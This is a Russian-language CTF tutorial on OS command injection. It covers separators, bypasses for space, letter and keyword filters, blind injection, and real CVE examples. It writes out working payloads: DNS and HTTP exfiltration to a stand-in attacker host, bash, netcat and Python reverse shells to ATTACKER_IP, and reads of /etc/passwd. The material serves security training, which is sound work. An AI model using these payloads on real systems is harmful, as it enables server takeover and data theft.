
На Dojo CTF challenge #36 от YesWeHack участникам подкинули веб-форму с пингом — классическая точка входа для OS command injection. Фильтр на стороне приложения пропускал payload только если в нём не было ни одной латинской буквы: регулярка [a-zA-Z_*^@%+=:,./-] отправляла ввод в санитайзер при первом совпадении. Решением стала ANSI-C нотация $'\143\141\164' — восьмеричные коды символов вместо букв. Из сотен участников таск решили единицы.
Проблема не в сложности уязвимости. Проблема в том, что большинство игроков знают один payload ; cat flag.txt и теряются, когда он не проходит. Дальше — полный разбор эксплуатации command injection в CTF: от первого теста до слепой инъекции и обхода фильтров, которые режут пробелы, буквы и спецсимволы.
Command injection (CWE-78, Improper Neutralization of Special Elements used in an OS Command) возникает, когда пользовательский ввод попадает в системную команду без нейтрализации спецсимволов. По OWASP Top 10:2021, инъекции (A03:2021) — в тройке критичных рисков веб-приложений. В CTF успешная эксплуатация — это флаг. В продакшене — полный контроль сервера: чтение /etc/shadow (T1552.001), загрузка инструментов через curl или wget (T1105) и закрепление в инфраструктуре. Подробнее — в нашем обзоре пентест веб-приложений.
Три CVE в Nagios XI — CVE-2021-25296, CVE-2021-25297, CVE-2021-25298 — все с CVSS 8.8 (HIGH); CVE-2021-25297 и CVE-2021-25298 классифицированы как CWE-78 в NVD, для CVE-2021-25296 CWE не указан. Все три активно эксплуатировались в дикой природе и попали в каталог CISA KEV. EPSS для CVE-2021-25296 — 0.7154 (top 1% по вероятности эксплуатации). По механике каждая из этих CVE идентична тому, что встречается в среднем web CTF: пользовательский ввод попадает в PHP-функцию exec() через вызов ping без валидации. Разница — в масштабе последствий.
Первый шаг — определить, какой пользовательский ввод доходит до системной команды. Типичные точки входа в CTF-тасках:
ping -c 1 <input>nslookup <input> или dig <input>ffmpeg, convert, pandoc с пользовательскими аргументамиmail -s "..." -aFrom:<input>Если таск содержит исходный код, ищите вызовы system(), exec(), shell_exec(), os.system(), subprocess.run() с параметром shell=True, child_process.exec(). Согласно OWASP OS Command Injection Defense Cheat Sheet, именно эти API создают поверхность атаки, потому что вызывают оболочку ОС как посредника. Без исходного кода — тестируйте каждый input-параметр (GET, POST, заголовки, cookie) последовательно, подставляя разделители команд.
Начните с простого — отправьте 127.0.0.1; id и проверьте, появится ли uid=... в ответе. Нет? Перебирайте альтернативные разделители.
| Оператор | Поведение | Linux | Windows |
|---|---|---|---|
; |
Выполняет команды последовательно | Да | Нет |
& |
Выполняет обе в фоне | Да | Да |
&& |
Вторая — только при успехе первой | Да | Да |
\| |
Stdout первой → stdin второй | Да | Да |
\|\| |
Вторая — только при ошибке первой | Да | Да |
%0a |
Перевод строки как разделитель | Да | Нет |
`cmd` |
Inline-подстановка (backticks) | Да | Нет |
$(cmd) |
Inline-подстановка (modern) | Да | Частично |
Каждый разделитель ведёт себя по-разному, и в CTF это критично. && выполнит вторую команду только при успехе первой — если ping завершается ошибкой из-за невалидного хоста, payload не сработает. || наоборот — сработает именно из-за ошибки. По данным PortSwigger, размещение & после инъецированной команды (& whoami &) снижает вероятность того, что хвост оригинальной команды помешает выполнению.
Inline-подстановка — `id` и $(id) — заслуживает отдельного внимания. Результат команды подставляется в строку как значение, и это основа для DNS-эксфильтрации при blind injection (об этом ниже).
Предусловия и ограничения: разделитель ; работает только в Unix-шеллах (bash, sh, ash, zsh, dash). В Windows cmd.exe — нет. Backtick-подстановка и $() требуют POSIX-совместимого интерпретатора — не работают в cmd.exe, но работают в PowerShell через $(). Если ввод попадает внутрь одинарных кавычек в оригинальной команде (например, ping -c 1 '<input>'), ни один разделитель не сработает без предварительного закрытия кавычки символом '.
[Применимо: CTF (web), внешний пентест, внутренний пентест — Unix/Windows в зависимости от оператора]
Базовые payload не проходят — значит, есть фильтр. В CTF встречаются три типа: чёрный список символов, чёрный список команд и регулярные выражения. По MITRE CWE-184 (Incomplete List of Disallowed Inputs), denylist-подход систематически проваливается, потому что атакующий находит обходной путь. Именно это делает CTF-таски с фильтрами интересными — по сути, вы ломаете не приложение, а воображение разработчика фильтра.
Пробел — первый символ, который режут. Шесть работающих альтернатив:
$IFS — переменная Internal Field Separator, по умолчанию содержит пробел, табуляцию и перевод строки. Payload cat${IFS}/etc/passwd или cat$IFS/etc/passwd выполняет cat /etc/passwd без единого пробела.
{cmd,arg} — brace expansion в bash: {cat,/etc/passwd} раскрывается шеллом в cat /etc/passwd.
< — перенаправление ввода: cat</etc/passwd перенаправляет содержимое файла на stdin команды cat. Работает только для команд, читающих stdin (cat, sort, tac, base64), а не для тех, что ожидают путь как аргумент (например, ls).
$'\x20' — ANSI-C кодирование пробела: cat$'\x20'/etc/passwd.
Tab-символ — $'\t' или %09 в URL-кодировке: cat%09/etc/passwd.
$'\x09' — hex-код табуляции через ANSI-C нотацию.
Предусловия и ограничения: $IFS работает в bash, sh, ash, zsh. Brace expansion {cmd,arg} работает в bash и zsh, но НЕ работает в dash и sh (POSIX-минимальная оболочка, часто используется в Debian-based контейнерах). Проверить шелл можно через cat /proc/$$/exe или по характеру ошибок в stderr.
[Применимо: CTF (web), любой Unix-based таск]
Фильтр блокирует имена команд (cat, ls, whoami) — три направления обхода.
Альтернативные бинарники для чтения файлов: вместо cat — head, tail, tac, nl, sort, strings, xxd, base64. По GTFOBins, даже column /etc/passwd или dig -f /etc/passwd умеют читать содержимое файлов. Я на нескольких CTF выезжал на tac — его реже всего добавляют в чёрный список.
Обфускация имени команды через кавычки и бэкслеши: w'h'o'am'i, w"h"o"am"i, \w\h\o\a\m\i. Шелл удаляет кавычки и бэкслеши на этапе word splitting, до передачи в execve — а фильтр на стороне приложения видит строку с кавычками и не распознаёт команду. Это техника Command Obfuscation (T1027.010 по MITRE ATT&CK).
Wildcard-обход через globbing: /???/??t /???/p??s?? может раскрыться шеллом в /bin/cat /etc/passwd, но glob-паттерн часто даёт множественные совпадения (/bin/cut, /etc/apt и др.) — результат зависит от конкретной файловой системы и требует проверки. Символ ? заменяется на любой одиночный символ.
Реверс строки: $(rev<<<'imaohw') — rev разворачивает imaohw в whoami. Требует bash или zsh (here-string <<<), не работает в dash/sh. Утилита rev может отсутствовать в минимальных/busybox-образах.
Предусловия и ограничения: кавычечная обфускация работает практически во всех POSIX-шеллах. Wildcard-обход не сработает, если шелл запущен с set -f (noglob) или если в файловой системе есть файлы, создающие ложное совпадение. Here-string <<< — только bash и zsh.
Самый жёсткий фильтр — запрет всех латинских букв. Именно такой встретился на Dojo CTF #36 от YesWeHack: регулярное выражение [a-zA-Z_*^@%+=:,./-] санитайзило любой ввод с буквой. Решение — ANSI-C нотация $'...', позволяющая записать команду в восьмеричных кодах:
# cat = $'\143\141\164'
# /etc/passwd = $'\057\145\164\143\057\160\141\163\163\167\144'
$'\143\141\164' $'\057\145\164\143\057\160\141\163\163\167\144'
Ни одной ASCII-буквы, а шелл выполняет cat /etc/passwd. Красота.
Альтернативные кодирования: base64 — echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash декодирует и выполняет cat /etc/passwd (T1140). Hex через xxd — bash<<<$(xxd -r -p<<<636174202f6574632f706173737764). printf — $(printf "\x63\x61\x74 \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64").
Предусловия и ограничения: ANSI-C нотация $'...' поддерживается в bash, zsh, ksh, ash. В dash и POSIX sh — не поддерживается. Base64-обход требует base64 из coreutils и bash на целевой системе. В Alpine Linux контейнерах (частый выбор для CTF) ANSI-C работает через ash.
В CTF реже, но в реальных пентестах WAF — постоянная головная боль. URL-кодирование: %26 вместо &, %7c вместо |. Двойное кодирование %2526 — работает, если WAF декодирует %25 в %, а затем backend декодирует %26 в & (распространённый паттерн при reverse-proxy + PHP urldecode()).
CRLF-инъекция %0d%0a как разделитель команд — именно через CRLF была эксплуатирована CVE-2023-29084 в ManageEngine ADManager Plus (CVSS 7.2, CWE-77): функция CommonUtil.getPowerShellEscapedValue экранировала &, |, ;, но пропускала символы возврата каретки. Payload [content]\r\ncalc.exe обходил всю защиту. EPSS — 0.9817 (top 1%), что подтверждает тривиальность эксплуатации. Классический пример: разработчик думал о пяти спецсимволах, а забыл про шестой.
[Применимо: CTF с WAF-компонентом, внешний пентест]
Вывод команды не отображается в HTTP-ответе — это blind command injection. По данным PortSwigger, многие инстансы OS command injection именно слепые. Типичный пример из CTF: форма обратной связи, где email попадает в mail -s "feedback" -aFrom:<input> admin@site.com — вывод mail не возвращается пользователю. Три техники подтверждения и эксплуатации слепой инъекции команд.
Введите команду, создающую измеримую задержку, и замерьте время ответа. & sleep 5 & — задержка 5 секунд на Linux. & ping -c 10 127.0.0.1 & — задержка ~10 секунд (один ICMP-пакет в секунду). | timeout 10 — Windows. Обычный запрос возвращается за 200 мс, с payload — за 5200 мс? Инъекция подтверждена. Burp Repeater показывает точное время ответа во вкладке response — пользуйтесь.
Предусловия и ограничения: ping -c 10 работает на Linux (флаг -c задаёт count), на Windows — ping -n 10. sleep — утилита из coreutils, не встроенная команда bash. В минимальных Docker-контейнерах (scratch, distroless) может отсутствовать. Если sleep недоступен — python3 -c "import time;time.sleep(10)" или perl -e "sleep 10".
Если известен путь к webroot (часто /var/www/html или /var/www/static), перенаправьте вывод в файл: & whoami > /var/www/static/out.txt &. Затем запросите https://target.com/out.txt через браузер. Комбинация File and Directory Discovery (T1083) и System Information Discovery (T1082).
Предусловия и ограничения: нужны права записи в webroot. В CTF-контейнерах обычно работает — приложение запущено от того же пользователя, что и веб-сервер. В продакшене — почти никогда из-за разделения привилегий. Путь к webroot можно определить из конфигурации Nginx/Apache или через ошибки приложения.
Самая мощная техника для слепой инъекции команд. DNS-эксфильтрация: payload & nslookup $(whoami).your-server.com & превращает результат whoami в поддомен DNS-запроса. На вашем DNS-сервере (или Burp Collaborator) всплывает запрос www-data.your-server.com. По данным PortSwigger, Burp Collaborator позволяет находить blind OS command injection уязвимости, которые невозможно обнаружить другими методами.
HTTP-эксфильтрация: & curl http://your-server.com/$(cat /etc/hostname) & или & wget -q -O- http://your-server.com/?d=$(id|base64) &.
Для CTF: если нет своего сервера, используйте interactsh от ProjectDiscovery — open-source альтернатива Burp Collaborator. Webhook-сервисы тоже подойдут для отлова HTTP-запросов.
Предусловия и ограничения: целевой сервер должен иметь сетевой доступ к DNS-серверу (порт 53 UDP) или к HTTP-серверу. В изолированных CTF-средах (air-gapped) OOB не работает — используйте time-based. nslookup может отсутствовать — замените на dig или host. Длина DNS-метки ограничена 63 символами, полного домена — 253: для длинного вывода используйте base64 | cut -c1-60 или отправляйте частями.
[Применимо: CTF (web), внешний пентест — OOB. Внутренний пентест — DNS exfiltration работает даже через корпоративный DNS]
Конечная цель эксплуатации в CTF — часто не просто прочитать файл, а получить интерактивный шелл (T1059.004, Unix Shell). Флаг спрятан в нестандартном месте, требует повышения привилегий или доступен только интерактивному процессу — тут без шелла никуда.
Базовый bash reverse shell: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. Требует, чтобы bash был скомпилирован с поддержкой /dev/tcp — не все дистрибутивы включают эту опцию (Debian по умолчанию — нет, Arch — да).
Netcat без флага -e (Debian netcat-openbsd не поддерживает -e; в Alpine busybox nc может поддерживать -e в зависимости от сборки):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
Python one-liner (почти всегда доступен): python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'.
На стороне атакующего — слушатель: nc -lvnp 4444.
Предусловия и ограничения: сервер CTF должен иметь сетевой доступ к вашему IP (обратное соединение). На HackTheBox и TryHackMe — через VPN-туннель. Если прямое соединение невозможно — bind shell (nc -lvp 4444 -e /bin/sh на сервере, подключаетесь вы). Некоторые CTF-среды блокируют исходящие соединения — тогда единственный вариант — эксфильтрация через DNS или запись в webroot. При наличии фильтра на спецсимволы reverse shell payload тоже нужно кодировать: echo "base64_encoded_shell" | base64 -d | bash.
[Применимо: CTF, внутренний пентест. Для внешнего — reverse shell часто блокируется egress-фильтрацией]
Требования к окружению: Burp Suite Community/Pro для перехвата запросов и замера таймингов, netcat или nc на вашей машине для ловли reverse shell, опционально — Burp Collaborator или interactsh для OOB.
Нашли потенциальную точку инъекции — действуйте по шагам:
; id или | id. Если в ответе uid=... — инъекция подтверждена, читайте флаг& sleep 5 &, замерьте задержку. Плюс 5 секунд — blind injection подтверждена$(sleep 5) или `sleep 5`'; sleep 5; ' или "; sleep 5; "$IFS, %09, {cmd,arg}w'h'o'am'i) или альтернативные бинарники (head вместо cat)$'\143\141\164' или base64$(nslookup $(id).your-server.com) или $(curl http://your-server.com/?d=$(id))Этот алгоритм покрывает подавляющее большинство web CTF тасков с command injection.
CTF-навыки прямо переносятся на реальные уязвимости. Вот несколько примеров с верифицированными данными.
Nagios XI (CVE-2021-25296, CVE-2021-25297, CVE-2021-25298) — три уязвимости OS command injection в версии xi-5.7.5, каждая через отдельный PHP-файл configwizard. CVSS 8.8 (HIGH) у всех трёх, вектор CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — эксплуатация по сети, с низкими привилегиями, без взаимодействия пользователя. Все три внесены в каталог CISA KEV (добавлены 2022-01-18), решение SSVC Act — патчить немедленно. Exploitation: active, Technical Impact: total. По данным PortSwigger и Fastly, CVE-2021-25298 эксплуатировалась через вызов ping в PHP exec() с пользовательским IP-адресом — один в один как в CTF-таске.
Ivanti Connect Secure (CVE-2024-21887) — command injection в веб-компонентах (CWE-77), CVSS 9.1 (CRITICAL). Требует администраторских привилегий (PR:H), но атакующие цепляли её с CVE-2023-46805 (обход аутентификации, CVSS 8.2). EPSS 1.0000 — максимальная вероятность эксплуатации. Внесена в CISA KEV, помечена как используемая в ransomware-кампаниях. Есть публичные Nuclei-темплейты и PoC-репозиторий oways/ivanti-CVE-2024-21887 на GitHub.
Cisco NX-OS (CVE-2024-20399) — command injection в CLI (CWE-78), CVSS 6.0 (MEDIUM). Вектор: AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N — локальный доступ, нужны права администратора. Несмотря на умеренный CVSS, внесена в CISA KEV (2024-07-02), SSVC decision: Act. Эксплуатировалась в реальных атаках. Прямая иллюстрация: CVSS сам по себе не отражает операционный риск. Контекст эксплуатации (CISA KEV membership, EPSS score 0.0431 — вероятность ~4.3%, percentile 0.9042 — top 10% среди всех CVE) важнее базовой оценки.
Все эти CVE объединяет одно — CWE-78 или CWE-77, недостаточная нейтрализация спецсимволов в пользовательском вводе перед передачей в OS-команду. Тот же класс уязвимости, что и в CTF, только с другими последствиями.
Большинство CTF-игроков заучивают payload как формулы без вывода — ; cat flag.txt, | whoami, $(sleep 5) — и теряются, когда фильтр режет что-то непредвиденное. Причина: непонимание того, как шелл разбирает строку. Почему w'h'o'am'i работает? Потому что одинарные кавычки в POSIX-шелле — literal quoting, и пустая пара '' в середине слова не меняет его семантику. Почему ${IFS} заменяет пробел? Потому что word splitting в bash использует IFS как разделитель полей.
Без понимания shell internals — quoting rules, word splitting, globbing, command substitution — вы не соберёте payload под нестандартный фильтр и будете бесконечно перебирать чужие writeup. После нескольких десятков CTF-турниров я убедился: участники, которые читали man bash секцию EXPANSION и понимали порядок раскрытия (brace → tilde → parameter → command → word splitting → pathname), решали таски с custom-фильтрами за минуты. Те, кто копировал из PayloadsAllTheThings — застревали часами на одном и том же месте. Если идёшь к OSCP и нужна подготовка по веб-части с разбором таких цепочек — WAPT покрывает это в первой трети курса с лабами на каждый кейс.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...